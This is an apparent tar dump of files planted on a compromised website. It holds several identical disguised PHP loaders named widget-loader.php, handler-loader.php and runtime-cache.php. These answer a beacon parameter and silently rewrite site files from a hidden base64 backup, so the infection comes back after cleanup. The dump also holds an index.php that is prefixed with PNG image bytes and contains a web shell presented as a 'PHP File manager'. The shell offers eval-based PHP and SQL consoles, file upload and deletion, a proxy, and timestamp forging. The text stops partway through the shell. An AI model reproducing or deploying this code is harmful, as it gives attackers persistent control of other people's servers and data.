$json = @file_get_contents($backupFile);
if (!$json) {
    echo '0';
    exit;
}
$backup = @json_decode($json, true);
if (!$backup || !isset($backup['files'])) {
    echo '0';
    exit;
}
$restored = 0;
foreach ($backup['files'] as $file => $data) {
    $path = $siteRoot . '/' . $file;
    if (!file_exists($path) || md5_file($path) !== $data['md5']) {
        $content = base64_decode($data['content']);
        if (@file_put_contents($path, $content) !== false) {
            $restored++;
        }
    }
}
echo '1';
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      364262/widget-loader.php.tar                                                                        0000644                 00000005000 15243264725 0011344 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/www/zeuportail/assets/static/modules/widget-loader.php                                         0000644                 00000001672 15243251025 0020224 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
@error_reporting(0);
@ini_set('display_errors', 0);
if (isset($_GET['_ck_sub8i8'])) {
    echo '1';
    exit;
}
$myDir = dirname(__FILE__);
$rootHop = '../../..';
$siteRoot = ($rootHop === '' || $rootHop === '.') ? $myDir : $myDir . '/' . $rootHop;
$backupFile = $siteRoot . '/templates/cache/data/82a3968585a485ae93950bf7ce89f24b.dat';
if (!@file_exists($backupFile)) {
    http_response_code(404);
    echo '0';
    exit;
}
$json = @file_get_contents($backupFile);
if (!$json) {
    echo '0';
    exit;
}
$backup = @json_decode($json, true);
if (!$backup || !isset($backup['files'])) {
    echo '0';
    exit;
}
$restored = 0;
foreach ($backup['files'] as $file => $data) {
    $path = $siteRoot . '/' . $file;
    if (!file_exists($path) || md5_file($path) !== $data['md5']) {
        $content = base64_decode($data['content']);
        if (@file_put_contents($path, $content) !== false) {
            $restored++;
        }
    }
}
echo '1';
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      364262/handler-loader.php.tar                                                                       0000644                 00000005000 15243264725 0011476 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/www/zeuportail/assets/static/modules/handler-loader.php                                        0000644                 00000001672 15243251144 0020360 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
@error_reporting(0);
@ini_set('display_errors', 0);
if (isset($_GET['_ck_sub8i8'])) {
    echo '1';
    exit;
}
$myDir = dirname(__FILE__);
$rootHop = '../../..';
$siteRoot = ($rootHop === '' || $rootHop === '.') ? $myDir : $myDir . '/' . $rootHop;
$backupFile = $siteRoot . '/templates/cache/data/82a3968585a485ae93950bf7ce89f24b.dat';
if (!@file_exists($backupFile)) {
    http_response_code(404);
    echo '0';
    exit;
}
$json = @file_get_contents($backupFile);
if (!$json) {
    echo '0';
    exit;
}
$backup = @json_decode($json, true);
if (!$backup || !isset($backup['files'])) {
    echo '0';
    exit;
}
$restored = 0;
foreach ($backup['files'] as $file => $data) {
    $path = $siteRoot . '/' . $file;
    if (!file_exists($path) || md5_file($path) !== $data['md5']) {
        $content = base64_decode($data['content']);
        if (@file_put_contents($path, $content) !== false) {
            $restored++;
        }
    }
}
echo '1';
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      364262/runtime-cache.php.tar                                                                        0000644                 00000005000 15243264725 0011341 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/www/zeuportail/assets/static/modules/runtime-cache.php                                         0000644                 00000001672 15243251121 0020216 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
@error_reporting(0);
@ini_set('display_errors', 0);
if (isset($_GET['_ck_sub8i8'])) {
    echo '1';
    exit;
}
$myDir = dirname(__FILE__);
$rootHop = '../../..';
$siteRoot = ($rootHop === '' || $rootHop === '.') ? $myDir : $myDir . '/' . $rootHop;
$backupFile = $siteRoot . '/templates/cache/data/82a3968585a485ae93950bf7ce89f24b.dat';
if (!@file_exists($backupFile)) {
    http_response_code(404);
    echo '0';
    exit;
}
$json = @file_get_contents($backupFile);
if (!$json) {
    echo '0';
    exit;
}
$backup = @json_decode($json, true);
if (!$backup || !isset($backup['files'])) {
    echo '0';
    exit;
}
$restored = 0;
foreach ($backup['files'] as $file => $data) {
    $path = $siteRoot . '/' . $file;
    if (!file_exists($path) || md5_file($path) !== $data['md5']) {
        $content = base64_decode($data['content']);
        if (@file_put_contents($path, $content) !== false) {
            $restored++;
        }
    }
}
echo '1';
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      364262/index.php.tar                                                                                0000644                 00000240000 15243264725 0007725 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/www/zeuportail/assets/static/modules/364262/index.php                                          0000644                 00000234415 15243251040 0017352 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ‰PNG

   
IHDR  6   £   7¾Âß  PLTEÿÿÿL‹õïïïåååLŒõOŽõÜÜÜRõI‰ôÙÙÙçççáááJ‰ñÞÞÞDU¶Oò6€ö©Çüb|‰ÕÕ×e÷÷÷ÒÒÖÛåð^w‡„«ôÍÍÓ^•óöôïEnÓBP°ÇÈÐDV´>…õpŠ•ÂÃÎüùîÊ×ñÃÇÉš¨°±óPo{~¦óZw…\tˆ>P³m öc˜ó°Æòäéï»Íñ«³¸2F³Yf¸ó÷ýŸ¾øÕáûéðýÚåûØÙá¢°Ôwœæ°ºÕÀÑñ‡¦å’©ßº¾ÏŸ¯Ú—¶óPt¢PƒÔ^r|t‡pƒ”}š„¢äMi“¡©—¤ª¬±½Mr¢ÕÏÉ¡¦Æ™Ñ’˜Â}„¿oy»½ÁÞhuÂ¨«Å–š¿þ­)€  (IDATxœíÝ
[ÚÈ p"&bEA gÓDQ«-½¸­v÷”êzzv{¶ÝïÿAÎÜ’L’É¥ä™$ÿgût­í®ù=ï;—db
…<yòäÉ“'Ož”äêæú¸õÄ^%ýÕ'•³‰ZÚZ(NÀqÒ_~2y=V+‘	!ì\%}Iäõd+Z-Œ
d±K¯b©…±md±K·ct(J) ¤K“¾†Õçªó,5Â¦f¯KÏŸWlÄ-ƒ]ÚŠ5²…³e°KÇË`S2×¥“Xj!lØ
\'}«N<¶52¸e®K—Â¶fI_ÇŠo±Æ–É.Åª–É.][æºt	l¤K·“¾Õ&[„éÒIÒ²Ú,ƒ”Ûë¤¯d¥‰Á©FØÎ’¾’•&š-MU³7—.…
—ÌÔ­ñH¶è¥lÙêÒ(¶8j´KÇI_Ê*Á­f±mÁiÒ×²Â,‡téyÒ×²Â„³ÅP#l¤K I_Ë
Æ ªárÛ {I_ÌêÂKÍaËT—³-¢ÆºtÏëáû>Ü'd*Ö@¶xj6.7¥Ûm¿yóF¯V«E”u.Þ]Ÿ A¬%­;l1Ñl5ºQxËÜt,W-ÆI•OQ8![\4Žté»>q{2ú3’¸	Øâ£qjô€\·kšíç°Éâæe[ÀÌÏßš(
Ë,t(
$”bfp±-fæR#_Z»]/©E@¶õ¤Iâ¤ƒŠ$ÒK¨¡j¨äs[X¹ÉPn˜m+ÔÂÎñÙÍl6;<¿ƒcƒï	[£»Ú}*ÃèÁ¦Ô7k=ÃXÃ1ŒžÑ¼ƒP
RC]Ú&lúúÓÙdèÒP6ÞM{”ÌŽaœW`€šªTpµ5P´˜n‚i¡˜´IŒ„±ÁÁÔcÆà¶QÁ‰Ô¬.ÅnåXÅ–>6ÞˆÐ\³Ø~m°.­ë™dS*ÂR³àZb7¥Cæ4)`·mš26elFê
w©é¸EÂ¥‹Mõ¨8Ü‡³ 5Ô¥m›­®G/CÒÅV™òfkÍÃ³í³óÙÔZ‰ª‘.¥nx|+G¹yÕ¤f«€™SZÆôzB7	°48Ä¿nª¡¥Û{êFØp½e‡
l÷œJ»Öú¶¤*pÜ4BÕTøÁìb·s[¬G¥f›Øµf4éÚÖ™*àÍM-D
uiŸÜ>Šç–&6xh±áÂòN `ÉfwéGÊË-ElêØVkúÕ"ƒ»´Ëº±i¡nR³¹o9»ã	jª2qwiX½ùÔ¤bsËT¬­7PW£]ÚuØ´z©IÊŽ­b›Á§¨¡.íÚ]JªMÓ‚ÜRÄfO½±ú5Ö¥ÖŠ—°iÕÔ³{ƒPãY©‰"œUÙ\Ú°ÊM«÷ûýFch““MíXóÁ9ß£Ê`Úôg*º¢À[÷œ õO†ÃáÊAzÙ¬GcnBPÁÀÞ8ð»Õ3Á†A¬K96D¶‹’^6{FèMì¡
7žmM°ÏRÅZñºØv|l~5‰Ùî,¶ŠƒÈæ¿í†Ôh—:ûÆ¶“
¶’ÊMŸqÙ°šÆ¦ˆÍ;¶¥Ší˜¯6gv\„M®9!€M &/›Òr–mü¢"USÈa{åæ°íVÓÊfoä;àf3¸L	LMïúB¶~Ý›*¶R%€„ßï[Kb´¶©¡rkX›+´EÐ6]/Zÿyá–A^6Ød×Õ
¾©Xy
…j
sd<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
